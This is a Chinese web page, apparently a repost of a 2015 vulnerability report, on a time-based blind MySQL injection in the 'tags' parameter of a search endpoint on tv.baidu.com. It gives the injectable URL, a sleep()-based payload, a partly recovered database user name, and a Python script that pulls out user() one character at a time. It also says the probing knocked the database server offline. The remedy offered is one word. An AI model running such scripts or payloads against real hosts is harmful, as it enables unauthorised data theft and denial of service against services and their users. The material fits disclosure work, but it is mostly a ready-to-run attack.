网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

百度某分站MySQL注射(附验证脚本) - 网站安全 - 自学php网

来源:未知    时间:2015-04-15 13:43 作者:xxadmin 阅读:

[导读] 百度某分站MySQL注射,可拒绝服务攻击。 附验证脚本。 注入点: http://tv.baidu.com/rest/2.0/ssport/searchVideo?pageno=0tags=if(length(user())=20,sleep(1),0) 参数tags可注入。 猜解user(),得到: tvopen_w@10....

百度某分站MySQL注射,可拒绝服务攻击。 附验证脚本。

注入点:

http://tv.baidu.com/rest/2.0/ssport/searchVideo?pageno=0&tags=if(length(user())=20,sleep(1),0)


参数tags可注入。

猜解user(),得到:
tvopen_w@10.*


 

baidu_mysqli_4.PNG



猜到10的时候,你们的MySQL Server已经挂了,不再深入。

#encoding=gbk
import httplib
import time
import string
import sys
import urllib

headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')

print '[%s]Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(9,21):
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('tv.baidu.com', timeout=5)
            s = "if(ascii(mid(user(),%s,1))=%s,sleep(1),0)" % (i, ord(payload))
            conn.request(method='GET',
                         url='/rest/2.0/ssport/searchVideo?pageno=0&tags=' + s,
                         headers = headers)
            conn.getresponse().read()
            conn.close()
            print '.',
        except Exception, e:
            user += payload
            sys.stdout.write('\r[In progress]' + user)
            sys.stdout.flush()
            break

print '\n[Task done at %s]MySQL user is %s' % (
    time.strftime('%H:%M:%S', time.localtime()),
    user)

 

解决方案:

过滤

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论